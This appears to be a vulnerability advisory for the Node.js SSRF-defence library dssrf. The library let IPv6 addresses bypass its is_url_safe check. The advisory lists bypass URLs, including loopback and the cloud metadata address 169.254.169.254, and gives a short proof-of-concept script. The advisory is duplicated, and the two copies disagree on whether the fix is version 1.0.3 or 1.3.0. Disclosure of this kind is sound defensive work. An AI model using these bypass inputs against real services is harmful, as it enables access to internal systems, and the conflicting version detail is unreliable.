DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.3.0, every IPv6 category…
GitHub_M·CWE-791·Published 2026-05-06
DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.
DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.3.0, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.3.0.
A vulnerability in dssrf allows an attacker to bypass its SSRF protections by supplying one of the following IPv6 addresses, resulting in a successful SSRF. This contradicts dssrf documentation, which incorrectly claims that IPv6 is disabled entirely. See below: ```rust Input Category http://[::1]/ IPv6 loopback http://[fc00::1]/ IPv6 ULA http://[fe80::1]/ IPv6 link-local http://[::ffff:127.0.0.1]/ IPv4-mapped loopback http://[::ffff:169.254.169.254]/ IPv4-mapped IMDS http://[::ffff:100.64.0.1]/ IPv4-mapped CGNAT http://[64:ff9b::7f00:1]/ NAT64 well-known prefix http://[64:ff9b:1::1]/ NAT64 local-use (RFC 8215) http://[5f00::1]/ SRv6 SID (RFC 9602) http://[3fff::1]/ IPv6 documentation (RFC 9637) http://[fec0::1]/ IPv6 site-local (deprecated, RFC 3879) http://[::127.0.0.1]/ IPv4-compatible IPv6 ``` ### POC ```bash mkdir dssrf-poc && cd dssrf-poc npm init -y >/dev/null npm install dssrf@^1.0.2 cat > audit.js <<'EOF' const dssrf = require('dssrf'); const cases = [ ['http://[::1]/', 'IPv6 loopback'], ['http://[fc00::1]/', 'IPv6 ULA'], ['http://[fe80::1]/', 'IPv6 link-local'], ['http://[::ffff:127.0.0.1]/', 'IPv4-mapped loopback'], ['http://[::ffff:169.254.169.254]/', 'IPv4-mapped IMDS'], ['http://[64:ff9b::7f00:1]/', 'NAT64 well-known + 127.0.0.1'], ['http://[64:ff9b:1::1]/', 'NAT64 local-use (RFC 8215)'], ['http://[5f00::1]/', 'SRv6 SID (RFC 9602)'], ['http://[fec0::1]/', 'IPv6 site-local deprecated'], ['http://127.0.0.1/', 'IPv4 loopback (control)'], ['http://10.0.0.1/', 'IPv4 RFC1918 (control)'], ['http://8.8.8.8/', 'PUBLIC IPv4 (control)'], ]; (async () => { for (const [url, label] of cases) { const safe = await dssrf.is_url_safe(url); console.log(`${safe ? '✓ALLOW' : '·block'} ${url.padEnd(40)} ${label}`); } })(); EOF node audit.js ``` ### Credit dssrf thanks <brmenna@gmail.com> for reporting this issue responsibly. ### Update Users should immediately update to dssrf 1.3.0. ### Lessons Learned As seen both in the past and today, many advisories and CVE bypasses leverage IPv6. IPv6 remains the weakest link, as it is rarely configured correctly and seldom tested. In this case, while IPv4 was properly blocked, the corresponding IPv6 blocking logic was completely broken and never actually worked.,
A vulnerability on dssrf allow, an attacker to use, one of them following ipv6 ```rust Input Category http://[::1]/ IPv6 loopback http://[fc00::1]/ IPv6 ULA http://[fe80::1]/ IPv6 link-local http://[::ffff:127.0.0.1]/ IPv4-mapped loopback http://[::ffff:169.254.169.254]/ IPv4-mapped IMDS http://[::ffff:100.64.0.1]/ IPv4-mapped CGNAT http://[64:ff9b::7f00:1]/ NAT64 well-known prefix http://[64:ff9b:1::1]/ NAT64 local-use (RFC 8215) http://[5f00::1]/ SRv6 SID (RFC 9602) http://[3fff::1]/ IPv6 documentation (RFC 9637) http://[fec0::1]/ IPv6 site-local (deprecated, RFC 3879) http://[::127.0.0.1]/ IPv4-compatible IPv6 ``` one of those to bypass dssrf and the attacker get **SSRF**, we claim that ipv6 disabled entirely that is wrong on our documentation ### POC ```bash mkdir dssrf-poc && cd dssrf-poc npm init -y >/dev/null npm install dssrf@^1.0.2 cat > audit.js <<'EOF' const dssrf = require('dssrf'); const cases = [ ['http://[::1]/', 'IPv6 loopback'], ['http://[fc00::1]/', 'IPv6 ULA'], ['http://[fe80::1]/', 'IPv6 link-local'], ['http://[::ffff:127.0.0.1]/', 'IPv4-mapped loopback'], ['http://[::ffff:169.254.169.254]/', 'IPv4-mapped IMDS'], ['http://[64:ff9b::7f00:1]/', 'NAT64 well-known + 127.0.0.1'], ['http://[64:ff9b:1::1]/', 'NAT64 local-use (RFC 8215)'], ['http://[5f00::1]/', 'SRv6 SID (RFC 9602)'], ['http://[fec0::1]/', 'IPv6 site-local deprecated'], ['http://127.0.0.1/', 'IPv4 loopback (control)'], ['http://10.0.0.1/', 'IPv4 RFC1918 (control)'], ['http://8.8.8.8/', 'PUBLIC IPv4 (control)'], ]; (async () => { for (const [url, label] of cases) { const safe = await dssrf.is_url_safe(url); console.log(`${safe ? '✓ALLOW' : '·block'} ${url.padEnd(40)} ${label}`); } })(); EOF node audit.js ``` ### Credit Million Thank's to <brmenna@gmail.com> for reporting that responsibly. ### Update Users need to update from now to dssrf 1.0.3 ### Lessons Learned AS we see in the past and today, a lot of advisories or cves bypasses uses IPv6, and IPv6 is the weakest link to be configured correctly and rarely properly tested, Since we blocked ipv4, our ipv6 blocking logic completly broken and never works
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 8.7 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 8.7 | — | — |
| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 8.7 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 8.7 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |